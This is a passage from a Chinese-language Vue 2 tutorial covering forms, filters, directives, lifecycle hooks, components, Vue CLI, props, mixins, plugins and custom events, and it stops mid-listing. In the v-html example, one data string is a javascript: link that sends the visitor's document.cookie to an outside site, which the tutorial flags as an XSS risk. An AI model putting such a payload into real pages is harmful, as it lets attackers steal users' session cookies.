普通文本框(<input type="text"/>):收集用户输入的value值。与之类似的还有密码框(type="password")、数值框(type="number")、选择框(select)、文本域(textarea)等。
单选框(<input type="radio"/>):收集用户所选项的value值,需要提前给标签配置value属性。
复选框(<input type="checkbox"/>):
如果标签配置了value属性,则可将选中项的value值收集为数组,但要求v-model绑定变量的初始值为数组。
此外,还可以收集布尔类型的checked属性。
此外,v-model还有一些修饰符:
修饰符 | 作用 |
---|---|
number | 将字符串转为有效的数字 |
trim | 首尾空格过滤 |
lazy | 失去焦点再收集数据,一般用于文本域等。 |
641
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>收集表单数据</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <form @submit.prevent="demo">
11 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
12 密码:<input type="password" v-model="userInfo.password"> <br/><br/>
13 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
14 性别:
15 男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
16 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
17 爱好:
18 学习<input type="checkbox" v-model="userInfo.hobby" value="study">
19 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
20 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
21 <br/><br/>
22 所属校区
23 <select v-model="userInfo.city">
24 <option value="">请选择校区</option>
25 <option value="beijing">北京</option>
26 <option value="shanghai">上海</option>
27 <option value="shenzhen">深圳</option>
28 <option value="wuhan">武汉</option>
29 </select>
30 <br/><br/>
31 其他信息:
32 <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
33 <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
34 <button>提交</button>
35 </form>
36 </div>
37 </body>
38
39 <script type="text/javascript">
40 Vue.config.productionTip = false
41
42 new Vue({
43 el:'#root',
44 data:{
45 userInfo:{
46 account:'',// 收集value
47 password:'',// 收集value
48 age:18,// 收集value
49 sex:'female',// 收集所选项的value
50 hobby:[],// 收集选中项的value数组
51 city:'beijing',// 收集value
52 other:'',// 收集value
53 agree:''// 收集选中项的checked属性
54 }
55 },
56 methods: {
57 demo(){
58 console.log(JSON.stringify(this.userInfo))
59 }
60 }
61 })
62 </script>
63</html>
64
过滤器对要显示的数据进行特定格式化后再显示,适用于一些简单逻辑的处理。使用步骤如下:
注册过滤器:
局部注册:new Vue{filters:{}}
,仅在当前Vue实例可用。
全局注册: Vue.filter(name,callback)
,所有Vue实例可用。
使用过滤器:
插值语法中使用:{{ xxx | 过滤器名}}
。
指令语法中使用: v-bind:属性 = "xxx | 过滤器名"
。
此外,过滤器支持接收额外的参数,并且可以同时使用多个过滤器。
741
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>过滤器</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 <script type="text/javascript" src="../js/dayjs.min.js"></script>
8 </head>
9 <body>
10 <div id="root">
11 <h2>显示格式化后的时间</h2>
12
13 <!-- 计算属性实现 -->
14 <h3>现在是:{{fmtTime}}</h3>
15
16 <!-- methods实现 -->
17 <h3>现在是:{{getFmtTime()}}</h3>
18
19 <!-- 过滤器实现 -->
20 <h3>现在是:{{time | timeFormater}}</h3>
21
22 <!-- 过滤器实现(传参) -->
23 <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
24 <h3 :x="msg | mySlice">尚硅谷</h3>
25 </div>
26
27 <div id="root2">
28 <h2>{{msg | mySlice}}</h2>
29 </div>
30 </body>
31
32 <script type="text/javascript">
33 Vue.config.productionTip = false
34
35 // 注册方式二:全局过滤器
36 Vue.filter('mySlice',function(value){
37 return value.slice(0,4)
38 })
39
40 new Vue({
41 el:'#root',
42 data:{
43 time:1621561377603, //时间戳
44 msg:'你好,尚硅谷'
45 },
46 computed: {
47 fmtTime(){
48 return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
49 }
50 },
51 methods: {
52 getFmtTime(){
53 return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
54 }
55 },
56
57 // 注册方式一:局部过滤器
58 filters:{
59 // 定义过滤器timeFormater,参数为时间格式字符串,默认值为YYYY年MM月DD日 HH:mm:ss
60 timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
61 // console.log('@',value)
62 return dayjs(value).format(str)
63 }
64 }
65 })
66
67 new Vue({
68 el:'#root2',
69 data:{
70 msg:'hello,atguigu!'
71 }
72 })
73 </script>
74</html>
指令 | 作用 |
---|---|
v-bind | 单向绑定解析表达式,可简写为v-bind:xxx可简写为 :xxx。 |
v-model | 双向数据绑定。v-model:value=‘xxx’可简写为v-model=‘xxx’。 |
v-for | 遍历数组/对象/字符串,或遍历指定次数。 |
v-on | 绑定事件监听,v-on=‘xxx’可简写为@Xxxx。 |
v-if/v-else-if/v-else | 条件渲染(动态控制节点是否存存在) |
v-show | 条件渲染(动态控制节点是否存展示) |
v-text | 替换所在节点的标签内容。 |
v-html | 替换所在节点的标签内容,并执行HTML解析(注意防止xss攻击)。 |
v-cloak | 与CSS([v-cloak]{display:none;})配合解决插值闪烁问题,在模板解析完成后会自动删除。 |
v-once | 配置的标签仅会被渲染一次,用于优化性能。 |
v-pre | 配置的标签会被跳过解析,Vue不进行管理,加快编译速度。 |
511
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>内置指令</title>
6 <style>
7 [v-cloak]{
8 display:none;
9 }
10 </style>
11 <script type="text/javascript" src="../js/vue.js"></script>
12 </head>
13 <body>
14 <div id="root">
15 <!-- v-text -->
16 <div>你好,{{name}}</div>
17 <div v-text="name"></div>
18 <div v-text="str"></div>
19
20 <!-- v-html -->
21 <div>你好,{{name}}</div>
22 <div v-html="str"></div>
23 <div v-html="str2"></div>
24
25 <!-- v-cloak(设置网速为slow3G测试) -->
26 <h2 v-cloak>{{name}}</h2>
27
28 <!-- v-once -->
29 <h2 v-once>初始化的n值是:{{n}}</h2>
30 <h2>当前的n值是:{{n}}</h2>
31 <button @click="n++">点我n+1</button>
32
33 <!-- v-pre -->
34 <h2 v-pre>这个标签直接跳过解析</h2>
35 </div>
36 </body>
37
38 <script type="text/javascript">
39 Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
40
41 new Vue({
42 el:'#root',
43 data:{
44 name:'尚硅谷',
45 str:'<h3>你好啊!</h3>',
46 str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>', // 该链接会导致xss攻击
47 n:0
48 }
49 })
50 </script>
51</html>
Vue支持自定义指令来实现一些功能,如果你只需要在指令与元素成功绑定时或指令所在的模板被重新解析时触发指令,则可以使用指令的函数简写形式,与过滤器类似,也支持局部注册或全局注册。
局部注册:new Vue({directives{指令名:回调函数}})
。
全局注册:Vue.directive(指令名,回调函数)
。
如下案例,实现了一个自定义指令v-big-number,功能和v-text功能类似,但会把绑定的数值放大10倍。
431
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>自定义指令01</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <h2>当前的n值是:<span v-text="n"></span> </h2>
11 <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
12 <button @click="n++">点我n+1</button>
13 </div>
14 </body>
15
16 <script type="text/javascript">
17 Vue.config.productionTip = false
18
19 // 注册方式二:全局指令
20 /*
21 Vue.directive('big-number', function(element,binding){
22 console.log('big-number指令被调用了',this)
23 element.innerText = binding.value * 10
24 }
25 */
26
27 new Vue({
28 el:'#root',
29 data:{
30 n:1
31 },
32 // 注册方式一:局部指令
33 directives:{
34 'big-number'(element,binding){
35 console.log('big-number指令被调用了',this) // 注意此处的this是window
36 element.innerText = binding.value * 10
37 }
38 }
39 })
40
41 </script>
42</html>
43
注意:
指令定义时不加v-,但使用时要加v-。
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
如果需要在指令与元素成功绑定时、指令所在元素被插入页面时以及指令所在的模板被重新解析时触发指令并执行不同业务逻辑,可以采用完整版的对象配置形式。对象配置形式也可以进行局部注册或全局注册。
局部注册:new Vue({directives:{指令名:配置对象}})
。
全局注册:Vue.directive(指令名,配置对象)
。
配置对象为三个回调函数bind
、inserted
、update
,分别代表指令的三个执行时机。
bind:指令与元素成功绑定时调用。
inserted:指令所在元素被插入页面时调用。
update:指令所在模板结构被重新解析时调用
如下案例,定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
581
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>自定义指令02</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <input type="text" v-fbind:value="n">
11 </div>
12 </body>
13 <script type="text/javascript">
14 Vue.config.productionTip = false
15
16 // 注册方式二:全局指令
17 /* Vue.directive('fbind',{
18 //指令与元素成功绑定时(一上来)
19 bind(element,binding){
20 element.value = binding.value
21 },
22 //指令所在元素被插入页面时
23 inserted(element,binding){
24 element.focus()
25 },
26 //指令所在的模板被重新解析时
27 update(element,binding){
28 element.value = binding.value
29 }
30 }) */
31
32 new Vue({
33 el:'#root',
34 data:{
35 name:'尚硅谷',
36 n:1
37 },
38 // 注册方式一:局部指令
39 directives:{
40 fbind:{
41 //指令与元素成功绑定时(一上来)
42 bind(element,binding){
43 element.value = binding.value
44 },
45 //指令所在元素被插入页面时(focus操作 必须等到元素被插入页面后才有效)
46 inserted(element,binding){
47 element.focus()
48 },
49 //指令所在的模板被重新解析时
50 update(element,binding){
51 element.value = binding.value
52 }
53 }
54 }
55 })
56
57 </script>
58</html>
Vue实例生命周期,又名生命周期回调函数、生命周期钩子等,是Vue在关键时刻帮我们调用的一些特殊名称的函数,该类函数的名称不可更改,但函数的具体内容是程序员根据需求编写的。下面是Vue实例生命周期图:
最常用的生命周期函数有mounted
和beforeDestroy
:
mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作。
beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾工作。
661
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>分析生命周期</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root" :x="n">
10 <h2>当前的n值是:{{n}}</h2>
11 <button @click="add">点我n+1</button>
12
13 <button @click="bye">点我销毁vm</button>
14 </div>
15 </body>
16
17 <script type="text/javascript">
18 Vue.config.productionTip = false
19
20 new Vue({
21 el:'#root',
22 data:{
23 n:1
24 },
25 methods: {
26 add(){
27 console.log('add')
28 this.n++
29 },
30 bye(){
31 console.log('bye')
32 this.$destroy()
33 }
34 },
35 watch:{
36 n(){
37 console.log('n变了')
38 }
39 },
40 beforeCreate() {
41 console.log('beforeCreate')
42 },
43 created() {
44 console.log('created')
45 },
46 beforeMount() {
47 console.log('beforeMount')
48 },
49 mounted() {
50 console.log('mounted')
51 },
52 beforeUpdate() {
53 console.log('beforeUpdate')
54 },
55 updated() {
56 console.log('updated')
57 },
58 beforeDestroy() {
59 console.log('beforeDestroy')
60 },
61 destroyed() {
62 console.log('destroyed')
63 },
64 })
65 </script>
66</html>
注意:
生命周期函数中的this指向是vm 或 组件实例对象。
Vue实例销毁后借助Vue开发者工具看不到任何信息,销毁后自定义事件会失效,但原生DOM事件依然有效。
一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
组件化是Vue最大的特性之一,Vue中使用组件的三大步骤:
定义组件:
使用const 变量名 = Vue.extend(options)
创建,可简写为const 变量名 = options
。其中options和创建Vue实例时传入的那个options几乎一样。但:
el不要写(最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器)。
data必须写成函数(避免组件被复用时,数据存在引用关系)。
注册组件
局部注册:创建Vue或定义组件时传入components
选项。
全局注册:通过Vue.component('组件名',组件)
进行全局注册。
使用组件
在合适的位置编写组件标签,如<school></school>
(注意:如未使用vue-cli脚手架,请勿使用自闭和标签的形式)。
此外,可以通过template
属性将模板配置在组件内部,还可以使用name
属性指定开发者工具中显示的组件名。
631
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>基本使用</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 <!-- 第三步:编写组件标签 -->
11 <school></school>
12 <hr>
13 </div>
14
15 <div id="root2">
16 <hello></hello>
17 </div>
18 </body>
19
20 <script type="text/javascript">
21 Vue.config.productionTip = false
22
23 // 第一步:定义school组件
24 const school = Vue.extend({
25 name:'School'
26 template:`
27 <div class="demo">
28 <h2>学校名称:{{schoolName}}</h2>
29 <h2>学校地址:{{address}}</h2>
30 <button @click="showName">点我提示学校名</button>
31 </div>
32 `,
33 // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
34 data(){
35 return {
36 schoolName:'尚硅谷',
37 address:'北京昌平'
38 }
39 },
40 methods: {
41 showName(){
42 alert(this.schoolName)
43 }
44 },
45 })
46
47 // 第二步:全局注册组件
48 // Vue.component('school',school)
49
50 // 创建vm
51 new Vue({
52 el:'#root',
53 data:{
54 msg:'你好啊!'
55 },
56
57 //第二步:局部注册组件
58 components:{
59 school
60 }
61 })
62 </script>
63</html>
关于组件名:
组件名可以是首字母小写或首字母大写的单个单词(如school、School),也可以是以kebab-case命名或CamelCase命名的多个单词(如my-school、MySchool),但后者(MySchool)需要Vue-Cli脚手架的支持。
组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
可以使用
name
配置项指定组件在开发者工具中呈现的名字。
关于VueComponent:
组件的本质是一个VueComponent构造函数,且不是程序员定义的,是Vue.extend生成的。
我们只需要写定义好的组件标签,Vue解析时会帮我们创建组件的实例对象,即Vue帮我们执行new VueComponent(options)。
特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!
一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype,让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
Vue组件可以进行嵌套,即组件中还可以使用其它的组件。
871
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>组件的嵌套</title>
6 <script type="text/javascript" src="../js/vue.js"></script>
7 </head>
8 <body>
9 <div id="root">
10 </div>
11 </body>
12
13 <script type="text/javascript">
14 Vue.config.productionTip = false
15
16 // 定义student组件
17 const student = Vue.extend({
18 name:'student',
19 template:`
20 <div>
21 <h2>学生姓名:{{name}}</h2>
22 <h2>学生年龄:{{age}}</h2>
23 </div>
24 `,
25 data(){
26 return {
27 name:'尚硅谷',
28 age:18
29 }
30 }
31 })
32
33 // 定义school组件(使用了student组件)
34 const school = Vue.extend({
35 name:'school',
36 template:`
37 <div>
38 <h2>学校名称:{{name}}</h2>
39 <h2>学校地址:{{address}}</h2>
40 <student></student>
41 </div>
42 `,
43 data(){
44 return {
45 name:'尚硅谷',
46 address:'北京'
47 }
48 },
49 // 注册所使用的组件
50 components:{
51 student
52 }
53 })
54
55 // 定义hello组件
56 const hello = Vue.extend({
57 template:`<h1>{{msg}}</h1>`,
58 data(){
59 return {
60 msg:'欢迎来到尚硅谷学习!'
61 }
62 }
63 })
64
65 // 定义app组件(使用了school和hello组件)
66 const app = Vue.extend({
67 template:`
68 <div>
69 <hello></hello>
70 <school></school>
71 </div>
72 `,
73 components:{
74 school,
75 hello
76 }
77 })
78
79 // 创建vm(使用app组件)
80 new Vue({
81 template:'<app></app>',
82 el:'#root',
83 //注册组件
84 components:{app}
85 })
86 </script>
87</html>
打开开发者工具,可以看到如下的组件架构:
单文件组件即每个文件只写一个组件,利于维护和管理,实际开发一般为此种形式。如下一个HTML页面(index.html),准备了一个容器。
131
2<html>
3 <head>
4 <meta charset="UTF-8" />
5 <title>单文件组件</title>
6 </head>
7 <body>
8 <!-- 准备一个容器 -->
9 <div id="root"></div>
10 <!-- <script type="text/javascript" src="../js/vue.js"></script> -->
11 <!-- <script type="text/javascript" src="./main.js"></script> -->
12 </body>
13</html>
在新建一个js文件(main.js)用于创建Vue实例,并在模板中使用App组件。
71import App from './App.vue'
2
3new Vue({
4 el:'#root',
5 template:`<App></App>`,
6 components:{App},
7})
App组件(App.vue)是所有组件的父组件,在此组件中使用其它的业务组件。
211<template>
2 <div>
3 <School></School>
4 <Student></Student>
5 </div>
6</template>
7
8<script>
9 // 引入组件
10 import School from './School.vue'
11 import Student from './Student.vue'
12
13 export default {
14 name:'App',
15 // 注册组件
16 components:{
17 School,
18 Student
19 }
20 }
21</script>
下面是业务组件School(School.vue)。
301<template>
2 <div class="demo">
3 <h2>学校名称:</h2>
4 <h2>学校地址:</h2>
5 <button @click="showName">点我提示学校名</button>
6 </div>
7</template>
8
9<script>
10 export default {
11 name:'School',
12 data(){
13 return {
14 name:'尚硅谷',
15 address:'北京昌平'
16 }
17 },
18 methods: {
19 showName(){
20 alert(this.name)
21 }
22 },
23 }
24</script>
25
26<style>
27 .demo{
28 background-color: orange;
29 }
30</style>
下面是业务组件Student(Student.vue)。
191<template>
2 <div>
3 <h2>学生姓名:</h2>
4 <h2>学生年龄:</h2>
5 </div>
6</template>
7
8<script>
9 export default {
10 name:'Student',
11 data(){
12 return {
13 name:'张三',
14 age:18
15 }
16 }
17 }
18</script>
19
注意:在打开index.html时会报Uncaught SyntaxError: Cannot use import statement outside a module错误,原因是浏览器不支持ES6语法,上述代码需要借助后续讲解的Vue-Cli才能运行。
Vue 脚手架(@vue/cli)是 Vue 官方提供的标准化开发工具(开发平台),官网地址为: https://cli.vuejs.org/zh/。
使用NPM安装脚手架@vue/cli
的相关命令如下:
111# 安装(全局安装,仅第一次使用时需要)
2npm install -g @vue/cli
3
4# 卸载
5npm uninstall @vue/cli -g
6
7# 查看版本信息(文档所演示的版本为@vue/cli 4.5.15)
8vue --version
9
10# 升级
11npm update -g @vue/cli
注意:Vue CLI 4.x 需要 Node.js v8.9 或更高版本 (推荐 v10 以上)。
使用脚手架创建项目的相关命令如下,该命令会新建一个文件夹,并进行项目的初始化。
51# 创建一个项目(按上下键选择:Default ([Vue 2] babel, eslint))
2vue create hello-world
3
4# 显示帮助信息
5vue create --help
进入项目根目录,使用如下命令启动项目:
61## 进入根目录
2cd vue_test
3
4# 启动项目
5npm run serve
6
171├── node_modules
2├── public
3│ ├── favicon.ico: 页签图标
4│ └── index.html: 主页面
5├── src
6│ ├── assets: 存放静态资源
7│ │ └── logo.png
8│ │── component: 存放组件
9│ │ └── HelloWorld.vue
10│ │── App.vue: 汇总所有组件
11│ │── main.js: 入口文件
12├── .gitignore: git版本管制忽略的配置
13├── babel.config.js: babel的配置文件
14├── package.json: 应用包配置文件
15├── README.md: 应用描述文件
16├── package-lock.json:包版本控制文件
17
public/index.html
271
2<html lang="">
3
4<head>
5 <meta charset="utf-8">
6 <!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
7 <meta http-equiv="X-UA-Compatible" content="IE=edge">
8 <!-- 开启移动端的理想视口 -->
9 <meta name="viewport" content="width=device-width,initial-scale=1.0">
10 <!-- 配置页签图标 -->
11 <link rel="icon" href="<%= BASE_URL %>favicon.ico">
12 <!-- 配置网页标题 -->
13 <title><%= htmlWebpackPlugin.options.title %></title>
14</head>
15
16<body>
17 <!-- 当浏览器不支持js时,noscript中的元素就会被渲染 -->
18 <noscript>
19 <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled.
20 Please enable it to continue.</strong>
21 </noscript>
22
23 <!-- 容器 -->
24 <div id="app"></div>
25</body>
26
27</html>
src/main.js
131//引入Vue和App组件
2import Vue from 'vue'
3import App from './App.vue'
4
5//关闭Vue的生产提示
6Vue.config.productionTip = false
7
8// 创建vm
9// 注意:默认引入的是vue.runtime.xxx.js,这里没有写<App/>组件标签,而是使用render函数去创建
10new Vue({
11 render: h => h(App),
12}).$mount('#app')
13
vue.js与vue.runtime.xxx.js的区别:
前者是完整版的Vue,包含核心功能 + 模板解析器。
后者是运行版的Vue,只包含核心功能,没有模板解析器。
因为vue.runtime.xxx.js没有模板解析器,所以不能使用template这个配置项,需要使用render函数接收到的createElement函数去指定具体内容。
src/App.vue
211<template>
2 <div>
3 <img src="./assets/logo.png" alt="logo" />
4 <!-- 3. 使用业务组件 -->
5 <School></School>
6 </div>
7</template>
8
9<script>
10// 1. 引入业务组件
11import School from "./components/School";
12
13export default {
14 name: "App",
15 // 2. 注册业务组件
16 components: {
17 School,
18 },
19};
20</script>
21
src/components/School
301<template>
2 <div class="demo">
3 <h2>学校名称:</h2>
4 <h2>学校地址:</h2>
5 <button @click="showName">点我提示学校名</button>
6 </div>
7</template>
8
9<script>
10export default {
11 name: "School",
12 data() {
13 return {
14 name: "尚硅谷",
15 address: "北京昌平",
16 };
17 },
18 methods: {
19 showName() {
20 alert(this.name);
21 },
22 },
23};
24</script>
25
26<style>
27.demo {
28 background-color: orange;
29}
30</style>
导出并查看默认配置:vue inspect > output.js
。
修改默认配置:
使用根目录下的vue.config.js
文件来覆盖默认配置,详情见:https://cli.vuejs.org/zh/config/。
或者直接修改package.json
中的vue字段。
ref属性用于注册引用信息,可应用于原始HTML标签
或组件标签
,作为id的替代者使用。使用步骤如下:
声明引用:<h1 ref="xxx">.....</h1>
或<School ref="xxx"></School>
。
获取:this.$refs.xxx
。HTML标签的引用获取的是真实DOM元素,组件的引用获取的是组件实例对象(vc)。
331<template>
2 <div>
3 <!-- 给HTML标签声明引用 -->
4 <h1 v-text="msg" ref="title"></h1>
5
6 <!-- 给School组件声明引用 -->
7 <School ref="sch"/>
8
9 <button ref="btn" @click="showDOM">点我输出上方的DOM元素</button>
10 </div>
11</template>
12
13<script>
14 import School from './components/School'
15
16 export default {
17 name:'App',
18 components:{School},
19 data() {
20 return {
21 msg:'欢迎学习Vue!'
22 }
23 },
24 methods: {
25 showDOM(){
26 console.log(this.$refs.title) //真实DOM元素
27 console.log(this.$refs.btn) //真实DOM元素
28 console.log(this.$refs.sch) //School组件的实例对象(vc)
29 }
30 },
31 }
32</script>
33
scoped用于限制样式的作用范围,使其只在当前组件生效,防止样式冲突。必要时直接在组件的<style>
标签添加该样式即可,格式为:<style scoped>
。
Student.vue
91<template>...</template>
2<script></script>
3
4<!-- 添加scoped属性,该样式仅在Student组件有效-->
5<style scoped>
6 .demo{
7 background-color: skyblue;
8 }
9</style>
props用于声明组件可接收的外部参数,一般用于父->子
通信。声明的方式有三种:
第一种方式(只接收):props:['name']
第二种方式(限制类型):props:{name:String}
第三种方式(限制类型、限制必要性、指定默认值):
71props:{
2 name:{
3 type:String, //类型
4 required:true, //必要性
5 default:'老王' //默认值
6 }
7}
子组件声明可接收的外部参数后,父组件在使用子组件时,可以传递对应的参数,用法为:<Demo name="xxx"/>
。
注意:
子组件中的props应该是只读的,如果进行了修改,Vue会监测到并发出警告信息(浅层次的监测)。如果业务确实需要修改,请先复制一份到data中,去修改data中的那份数据。
父组件中如果需要传递动态参数,请使用v-bind进行绑定,可简写为
<Demo :name="xxx"/>
。
子组件Student.vue:声明了一些可接收的参数
531<template>
2 <div>
3 <h1></h1>
4 <h2>学生姓名:</h2>
5 <h2>学生性别:</h2>
6 <h2>学生年龄:</h2>
7 <button @click="updateAge">尝试修改收到的年龄</button>
8 </div>
9</template>
10
11<script>
12 export default {
13 name:'Student',
14 data() {
15 console.log(this)
16 return {
17 msg:'我是一个尚硅谷的学生',
18 myAge:this.age
19 }
20 },
21 methods: {
22 updateAge(){
23 this.myAge++
24 }
25 },
26
27 // 1. 简单声明接收
28 // props:['name','age','sex']
29
30 // 2. 接收的同时对数据进行类型限制
31 /* props:{
32 name:String,
33 age:Number,
34 sex:String
35 } */
36
37 // 3. 接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
38 props:{
39 name:{
40 type:String, //name的类型是字符串
41 required:true, //name是必要的
42 },
43 age:{
44 type:Number,
45 default:99 //默认值
46 },
47 sex:{
48 type:String,
49 required:true
50 }
51 }
52 }
53</script>
父组件App.vue:使用子组件时传递一些参数
161<template>
2 <div>
3 <!--使用子组件Student,并传递参数-->
4 <Student name="李四" sex="女" :age="18"/>
5 </div>
6</template>
7
8<script>
9 import Student from './components/Student'
10
11 export default {
12 name:'App',
13 components:{Student}
14 }
15</script>
16
混合(mixin)是指将外部配置对象与当前组件的配置整合,一般用于抽取公共配置。使用方式如下:
定义外部配置对象。
81// 外部配置对象与组件的配置基本相似
2const x = {
3 data(){ .},
4 methods:{ .},
5 mounted() { .},
6 .
7}
8
混合外部配置到组件:
全局混合:Vue.mixin(xxx)
。
局部混合:mixins:['xxx']
。
src/mixin.js:一般在单独的文件定义外部配置对象并暴露。
221// 定义并暴露一个配置对象 hunhe
2export const hunhe = {
3 methods: {
4 showName(){
5 alert(this.name)
6 }
7 },
8 mounted() {
9 console.log('你好啊!')
10 },
11}
12
13// 定义并暴露另一个配置对象 hunhe2
14export const hunhe2 = {
15 data() {
16 return {
17 x:100,
18 y:200
19 }
20 },
21}
22
main.js:全局混合一般写在该文件中,在创建Vue实例前进行全局混合。
141import Vue from 'vue'
2import App from './App.vue'
3Vue.config.productionTip = false
4
5// 混合方式一:全局混合
6import {hunhe} from './mixin'
7Vue.mixin(hunhe)
8
9// 创建vm
10new Vue({
11 el:'#app',
12 render: h => h(App)
13})
14
Student.vue:局部混合一般写在具体的组件中。
231<template>
2 <div>
3 <h2 @click="showName">学生姓名:</h2>
4 <h2>学生性别:</h2>
5 </div>
6</template>
7
8<script>
9 import {hunhe2} from '../mixin'
10
11 export default {
12 name:'Student',
13 data() {
14 return {
15 name:'张三',
16 sex:'男'
17 }
18 },
19 // 混合方式二:局部混合
20 mixins:[hunhe2]
21 }
22</script>
23
Vue插件主要用于扩展Vue的功能,其本质是一个带install方法的对象。在install方法中,可以进行一些Vue的增强,如添加全局过滤器、全局指令、全局混合以及实例方法等。定义格式如下:
181const x = {
2 install(Vue,业务参数){
3 // 1. 添加全局过滤器
4 Vue.filter( .)
5
6 // 2. 添加全局指令
7 Vue.directive( .)
8
9 // 3. 配置全局混入(合)
10 Vue.mixin( .)
11
12 // 4. 添加全局方法和属性
13 Vue.prototype.$myMethod = function () { }
14 Vue.prototype.$myProperty = xxxx
15
16 .
17 }
18}
plugin.js:一般在单独的文件定义插件对象并暴露。
401export default {
2 install(Vue,x,y,z){
3 console.log(x,y,z)
4
5 //全局过滤器
6 Vue.filter('mySlice',function(value){
7 return value.slice(0,4)
8 })
9
10 //定义全局指令
11 Vue.directive('fbind',{
12 //指令与元素成功绑定时(一上来)
13 bind(element,binding){
14 element.value = binding.value
15 },
16 //指令所在元素被插入页面时
17 inserted(element,binding){
18 element.focus()
19 },
20 //指令所在的模板被重新解析时
21 update(element,binding){
22 element.value = binding.value
23 }
24 })
25
26 //定义混入
27 Vue.mixin({
28 data() {
29 return {
30 x:100,
31 y:200
32 }
33 },
34 })
35
36 //给Vue原型上添加一个方法(vm和vc就都能用了)
37 Vue.prototype.hello = ()=>{alert('你好啊')}
38 }
39}
40
main.js:在该文件中使用插件。
131import Vue from 'vue'
2import App from './App.vue'
3Vue.config.productionTip = false
4
5// 使用插件
6import plugins from './plugins'
7Vue.use(plugins,1,2,3)
8
9// 创建vm
10new Vue({
11 el:'#app',
12 render: h => h(App)
13})
School.vue:在业务组件中使用插件的扩展功能。
241<template>
2 <div>
3 <!--直接使用插件中的过滤器-->
4 <h2>学校名称:</h2>
5
6 <!--直接使用插件中的全局方法-->
7 <button @click="hello()">点我测试一个hello方法</button>
8
9 <!--直接使用插件中的全局指令-->
10 <input type="text" v-fbind:value="name">
11 </div>
12</template>
13
14<script>
15 export default {
16 name:'School',
17 data() {
18 return {
19 name:'尚硅谷atguigu'
20 }
21 }
22 }
23</script>
24
自定义事件一般用于子->父
间通信。使用步骤如下:
子组件在合适的时机触发事件:this.$emit('event01',数据)
。
父组件在使用子组件时绑定事件回调,有两种方式:
配置方式:<Demo v-on:event01="test"/>
或简写为<Demo @event01="test"/>
。
代码方式:事先设置子组件的ref属性,然后在父组件中(一般在mounted钩子中)通过$on
绑定事件回调。
71<!-- 1. 设置子组件的ref属性,方便获取vc实例-->
2<Demo ref="demo"/>
3
4<!-- 2. 在mounted钩子中获取vc实例绑定事件回调-->
5mounted(){
6 this.$refs.xxx.$on('event01',this.test)
7}
父组件可在需要的时候解绑自定义事件:
解绑单个自定义事件:this.$off('event01')
。
解绑多个自定义事件:this.$off(['event01','event02'])
。
解绑所有自定义事件:this.$off()
。
注意:
通过this.$refs.xxx.$on('atguigu',事件回调)方式绑定时,该回调需写成箭头函数或者为配置在methods中的普通函数,否则this的指向不会是vc实例。
绑定事件回调时,若想让自定义事件只能触发一次,可以使用
once
修饰符,或$once
方法。组件上也可以绑定原生DOM事件,需要使用
native
修饰符。
Student.vue:子组件触发事件,向外部发送数据。
411<template>
2 <div class="student">
3 <h2>学生姓名:</h2>
4 <h2>学生性别:</h2>
5 <h2>当前求和为:</h2>
6 <button @click="number++">点我number++</button>
7
8 <button @click="sendStudentlName">把学生名给App</button>
9 <button @click="unbind">解绑atguigu事件</button>
10 <button @click="death">销毁当前Student组件的实例(vc)</button>
11 </div>
12</template>
13
14<script>
15 export default {
16 name:'Student',
17 data() {
18 return {
19 name:'张三',
20 sex:'男',
21 number:0
22 }
23 },
24 methods: {
25 // 通过atguigu事件向外部发送学生姓名
26 sendStudentlName(){
27 this.$emit('atguigu',this.name,666,888,900)
28 },
29 //解绑atguigu事件
30 unbind(){
31 this.$off('atguigu')
32 // this.$off(['atguigu','demo']) //解绑多个自定义事件
33 // this.$off() //解绑所有的自定义事件
34 },
35 death(){
